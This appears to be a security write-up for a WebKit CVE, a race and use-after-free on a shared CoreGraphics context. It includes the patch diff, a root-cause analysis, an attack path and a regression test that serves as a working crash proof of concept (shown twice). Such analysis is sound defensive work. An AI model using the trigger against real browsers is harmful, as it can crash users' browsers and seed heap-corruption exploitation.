Released July 27, 2026

CVE-2026-64718

CVSS 5.5 severity medium CWE-416 vector CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Overview

Impact:

Description: Processing maliciously crafted web content may lead to an unexpected Safari crash

Researchers: OGINOME Tomohito, an anonymous researcher

Key insight. A single static, mutable CGContext was written on the assumption of single-threaded access, but OffscreenCanvas made stroke queries concurrent. The fix serializes access with a function-local static Lock — the shared resource needed synchronization the moment worker threads could reach it.

Patch Details

diff --git a/LayoutTests/fast/canvas/offscreen-worker-unsafe-isPointInStroke-call-expected.txt b/LayoutTests/fast/canvas/offscreen-worker-unsafe-isPointInStroke-call-expected.txt
new file mode 100644
index 000000000000..4fd0bd3beec1
--- /dev/null
+++ b/LayoutTests/fast/canvas/offscreen-worker-unsafe-isPointInStroke-call-expected.txt
@@ -0,0 +1 @@
+PASS if this test does not crash.
diff --git a/LayoutTests/fast/canvas/offscreen-worker-unsafe-isPointInStroke-call.html b/LayoutTests/fast/canvas/offscreen-worker-unsafe-isPointInStroke-call.html
new file mode 100644
index 000000000000..86fa74bd492a
--- /dev/null
+++ b/LayoutTests/fast/canvas/offscreen-worker-unsafe-isPointInStroke-call.html
@@ -0,0 +1,51 @@
+<body>
+    <p>PASS if this test does not crash.</p>
+    <script>
+        window.testRunner?.waitUntilDone();
+        window.testRunner?.dumpAsText();
+
+        const tester = `self.onmessage = event => {
+            const ctx = event.data.getContext("2d");
+            for (let i = 0; i < 500; i++) {
+                ctx.setLineDash([5 + i % 20, 3 + i % 12]); // forces CG dash alloc/free
+                ctx.beginPath();
+                for (let j = 0; j < 25; j++) {
+                    let a = j / 25 * Math.PI * 2 + i * .1;
+                    let r = 30 + 20 * Math.sin(j * .7 + i * .3);
+                    let x = 64 + r * Math.cos(a);
+                    let y = 64 + r * Math.sin(a);
+                    if (!j)
+                        ctx.moveTo(x, y);
+                    else
+                        ctx.bezierCurveTo(
+                            x + 12 * Math.sin(i + j), y + 12 * Math.cos(i + j),
+                            x -  8 * Math.cos(i * j), y -  8 * Math.sin(i * j),
+                            x, y
+                        );
+                }
+                ctx.closePath();
+                ctx.isPointInStroke(64, 64);
+            }
+            self.postMessage({ type: 'done' }); // Send finished signal
+        };`;
+
+        const totalWorkers = 4;
+        let doneWorkers = 0;
+
+        for (let i = 0; i < totalWorkers; i++) {
+            const canvas = document.createElement("canvas");
+            canvas.width = 128;
+            canvas.height = 128;
+            const offscreen = canvas.transferControlToOffscreen();
+            const worker = new Worker(URL.createObjectURL(new Blob([tester])));
+            worker.postMessage(offscreen, [offscreen]);
+
+            worker.onmessage = event => {
+                if (event.data.type === 'done') {
+                    if (++doneWorkers == totalWorkers)
+                        window.testRunner?.notifyDone();
+                }
+            };
+        }
+    </script>
+</body>
diff --git a/Source/WebCore/platform/graphics/cg/PathCG.cpp b/Source/WebCore/platform/graphics/cg/PathCG.cpp
index 1a72e5045c38..32ae939bd590 100644
--- a/Source/WebCore/platform/graphics/cg/PathCG.cpp
+++ b/Source/WebCore/platform/graphics/cg/PathCG.cpp
@@ -606,6 +606,9 @@ bool PathCG::strokeContains(const FloatPoint& point, NOESCAPE const Function<voi
 {
     ASSERT(strokeStyleApplier);
 
+    static Lock scratchContextLock;
+    Locker locker { scratchContextLock };
+
     CGContextRef context = scratchContext();
 
     CGContextSaveGState(context);
@@ -641,6 +644,9 @@ FloatRect PathCG::boundingRect() const
 
 FloatRect PathCG::strokeBoundingRect(NOESCAPE const Function<void(GraphicsContext&)>& strokeStyleApplier) const
 {
+    static Lock scratchContextLock;
+    Locker locker { scratchContextLock };
+
     CGContextRef context = scratchContext();
 
     CGContextSaveGState(context);

Background

Advisory: Apple Security Advisory

Attribute Value
CVE CVE-2026-64718
Bugzilla 313935
Component WebCore
Bug Class Race
Severity medium
Commit 95f9f59bb141325d…
Advisory Apple Advisory

Terminology

  • PathCG scratch context — PathCG stroke queries (strokeContains/strokeBoundingRect) borrow a single process-shared static CGContext and mutate its graphics state to compute stroke geometry.
  • OffscreenCanvas workers — OffscreenCanvas lets canvas 2D APIs run on multiple worker threads simultaneously — so isPointInStroke()/stroke-bounds can execute concurrently.
  • setLineDash — Sets the dash pattern; internally CoreGraphics allocates/frees dash state on the context, which is exactly what races when the context is shared.

Root Cause Analysis

This fixes a data race / use-after-free on a shared CoreGraphics scratch context used by path stroke queries. PathCG::strokeContains() and PathCG::strokeBoundingRect() obtain a process-shared scratchContext() (a single static CGContext) and mutate it (CGContextSaveGState, apply the stroke style, etc.). With OffscreenCanvas, isPointInStroke()/stroke-bounds can run concurrently on multiple worker threads, so several threads used and mutated the same scratch CGContext at once — including allocating/freeing CoreGraphics dash state via setLineDash — with no synchronization. The violated invariant is exclusive access to the shared scratch context for the duration of each stroke operation; concurrent use races CoreGraphics-internal allocations (e.g. the dash array), producing heap corruption / use-after-free and the observed crash. The fix adds a function-local static Lock scratchContextLock and takes a Locker in both strokeContains() and strokeBoundingRect(), serializing all access to the shared context. The regression test spins up four OffscreenCanvas workers that loop calling isPointInStroke() while changing setLineDash to force CG dash alloc/free. This is fully established by the diff.

Attack Path

1. Create multiple OffscreenCanvas workers

The page transfers several canvases to Web Workers via transferControlToOffscreen().

2. Concurrently query stroke geometry

Each worker loops calling isPointInStroke() (PathCG::strokeContains) while calling setLineDash with changing patterns to force CoreGraphics dash allocation and freeing.

3. Race the shared scratch CGContext

All workers use and mutate the same process-shared static scratchContext() simultaneously, racing CG-internal allocations.

4. Trigger heap corruption / UAF

The unsynchronized concurrent access corrupts CoreGraphics state (freed/overwritten dash allocations), crashing the process.

Impact Assessment

A data race and use-after-free on a shared CoreGraphics context, reachable from unprivileged script via OffscreenCanvas workers. Multiple threads mutating one CGContext corrupts CoreGraphics-internal allocations (the dash array), yielding heap corruption in the WebContent process — a controllable primitive since the attacker drives both thread count and allocation churn.

Audit Directions

Static/shared CG resources on worker paths

Audit other static or process-shared CoreGraphics/platform objects touched by canvas 2D code that OffscreenCanvas can now run off the main thread.

Main-thread-affinity assumptions

Search graphics helpers for singletons that predate OffscreenCanvas and silently assume single-threaded use; each needs a lock or per-thread instance.

Changed Functions

Function File Change Note
PathCG::strokeContains Source/WebCore/platform/graphics/cg/PathCG.cpp modified Adds a static Lock and takes a Locker before using the shared scratchContext(), serializing concurrent (OffscreenCanvas worker) access.
PathCG::strokeBoundingRect Source/WebCore/platform/graphics/cg/PathCG.cpp modified Same lock added around its use of the shared scratch CGContext to prevent the cross-thread data race.

Files Changed

Source Files

  • Source/WebCore/platform/graphics/cg/PathCG.cpp

Test Files

  • LayoutTests/fast/canvas/offscreen-worker-unsafe-isPointInStroke-call-expected.txt
  • LayoutTests/fast/canvas/offscreen-worker-unsafe-isPointInStroke-call.html

Regression Test

The fix ships this proof-of-concept / regression test:

diff --git a/LayoutTests/fast/canvas/offscreen-worker-unsafe-isPointInStroke-call-expected.txt b/LayoutTests/fast/canvas/offscreen-worker-unsafe-isPointInStroke-call-expected.txt
new file mode 100644
index 000000000000..4fd0bd3beec1
--- /dev/null
+++ b/LayoutTests/fast/canvas/offscreen-worker-unsafe-isPointInStroke-call-expected.txt
@@ -0,0 +1 @@
+PASS if this test does not crash.
diff --git a/LayoutTests/fast/canvas/offscreen-worker-unsafe-isPointInStroke-call.html b/LayoutTests/fast/canvas/offscreen-worker-unsafe-isPointInStroke-call.html
new file mode 100644
index 000000000000..86fa74bd492a
--- /dev/null
+++ b/LayoutTests/fast/canvas/offscreen-worker-unsafe-isPointInStroke-call.html
@@ -0,0 +1,51 @@
+<body>
+    <p>PASS if this test does not crash.</p>
+    <script>
+        window.testRunner?.waitUntilDone();
+        window.testRunner?.dumpAsText();
+
+        const tester = `self.onmessage = event => {
+            const ctx = event.data.getContext("2d");
+            for (let i = 0; i < 500; i++) {
+                ctx.setLineDash([5 + i % 20, 3 + i % 12]); // forces CG dash alloc/free
+                ctx.beginPath();
+                for (let j = 0; j < 25; j++) {
+                    let a = j / 25 * Math.PI * 2 + i * .1;
+                    let r = 30 + 20 * Math.sin(j * .7 + i * .3);
+                    let x = 64 + r * Math.cos(a);
+                    let y = 64 + r * Math.sin(a);
+                    if (!j)
+                        ctx.moveTo(x, y);
+                    else
+                        ctx.bezierCurveTo(
+                            x + 12 * Math.sin(i + j), y + 12 * Math.cos(i + j),
+                            x -  8 * Math.cos(i * j), y -  8 * Math.sin(i * j),
+                            x, y
+                        );
+                }
+                ctx.closePath();
+                ctx.isPointInStroke(64, 64);
+            }
+            self.postMessage({ type: 'done' }); // Send finished signal
+        };`;
+
+        const totalWorkers = 4;
+        let doneWorkers = 0;
+
+        for (let i = 0; i < totalWorkers; i++) {
+            const canvas = document.createElement("canvas");
+            canvas.width = 128;
+            canvas.height = 128;
+            const offscreen = canvas.transferControlToOffscreen();
+            const worker = new Worker(URL.createObjectURL(new Blob([tester])));
+            worker.postMessage(offscreen, [offscreen]);
+
+            worker.onmessage = event => {
+                if (event.data.type === 'done') {
+                    if (++doneWorkers == totalWorkers)
+                        window.testRunner?.notifyDone();
+                }
+            };
+        }
+    </script>
+</body>